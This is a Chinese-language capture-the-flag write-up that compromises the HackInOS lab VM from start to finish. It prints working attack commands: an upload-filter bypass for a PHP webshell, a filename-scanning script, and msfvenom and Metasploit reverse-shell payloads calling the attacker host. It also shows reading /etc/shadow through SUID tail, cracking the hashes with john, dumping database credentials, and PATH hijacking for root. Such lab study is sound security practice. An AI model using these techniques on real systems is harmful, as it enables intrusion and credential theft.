HackInOS Writeup
环境设置
靶机:192.168.1.24
攻击机:192.168.1.14
测试开始
先使用nmap对端口进行扫描
nmap -T4 -A -Pn -n 192.168.1.24
在8000端口开启web服务,使用dirsearch进行目录扫描
dirsearch -u http://192.168.1.24:8000 -e php
在页面的源码中有一个注释,注释中有github链接
是该upload.php的源码在上传中通过给木马文件添加GIF89和将gif后缀改为php,绕过上传限制,成功上传一句话木马
php源代码中对上传的文件名进行了修改,编写一个扫描脚本,对木马文件进行扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import hashlib
import requests
def scan(website, file_name):
target_dir = "uploads/"
for i in range(1,100):
shell_name = hashlib.md5((file_name + str(i)).encode('utf-8')).hexdigest()
url = website + target_dir + str(shell_name) + ".php"
resp = requests.get(url)
if resp.status_code == 200:
return url
else:
continue
if __name__ == "__main__":
shell_name = input("shell name is :")
website = input("website is :")
url = scan(website, shell_name)
print("[+] %s" % url)
print("[!] Done")使用msf生成一个php/meterpreter/reverse_tcp的后门文件
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.14 lport=4444 -f raw -o meterpreter.php
将该后门通过一句话木马上传到网站的根目录下
启动msf,建立监听
1
2
3
4
5use exploit/mtlti/handler
set payload php/meterpreter/handler
set lhost 192.168.1.14
set lport 4444
exploit -j使用浏览器访问/meterpreter.php,msf中获得到session
查看wp-config.php文件,获取数据库连接信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');数据库的地址为db,通过ping获得db的ip地址
1
2
3
4ping db
PING db (172.18.0.3) 56(84) bytes of data.
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.065 ms
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=2 ttl=64 time=0.067 ms上传linuxprivchecker.py对主机的基本信息进行收集
1
2
3
4
5> upload linuxprivchecker.py
> shell
> python linuxprivchecker.py
通过返回的数据分析,发现/usr/bin/tail具有SUID权限
-rwsr-xr-x 1 root root 68584 Feb 22 2017 /usr/bin/tail通过tail查看shadow文件将结果保存在shadow.txt并下载回本地
使用john对密码进行解码
1
2john shadow.txt
john shadow.txt --show通过python派生出一个bash(当前使用的是/bin/sh)
1
python -c 'import pty;pty.spawn("/bin/bash")'
通过新的shell切换登陆身份,进入root用户根目录下,发现flag文件
1
su root
之前收集到一个数据库的地址和账号密码,尝试登陆数据库。先打通攻击机与172.18.0.3的连接通道。
php的session有局限型,重新创建一个root权限python的session。
1
2
3
4
5use exploit/multi/script/web_delivery
set payload python/meterpreter/reverse_http
set lhost 192.168.1.14
set lport 80
exploit在已有的php的session中输入命令
shell -t /bin/bash
,启动一个bash,在bash中用su
提升至root权限。并在bash中执行上图的python代码,msf接收到一个新的session通过post/multi/manage/autoroute模块自动添加路由信息
1
2
3use post/multi/manage/autoroute
set session 6
exploit在root权限的bash中执行mysql远程登陆命令
1
2
3
4mysql -h 172.18.0.3 -u wordpress -p
wordpress
use wordpress;
select * from host_ssh_cred;将pw内容进行解密,得到密码123456,尝试通过ssh远程登陆靶机的ssh
登陆后发现Desktop目录下有一个a.out可执行文件
通过scp将a.out下载到本地进行分析,首先使用binwalk进行检查,发现是一个elf可执行文件
将a.out文件放进ghidra中进行反编译分析,查看main函数,通过看反编译代码,发现a.out首先通过
setgid(0)
与setuid(0)
将当前进程设置为root权限,然后执行系统命令whoami
劫持whoami的执行路径,在/tmp路径下生成一个whoami文件,其内容为/bin/bash
1
2echo "/bin/bash" > /tmp/whoami
chmod 777 /tmp/whoami将/tmp路径添加到环境变量PATH的最前面,就可以获取root的shell
1
export PATH=/tmp:$PATH
再次执行a.out,返回root权限的shell
进入/root目录,看到flag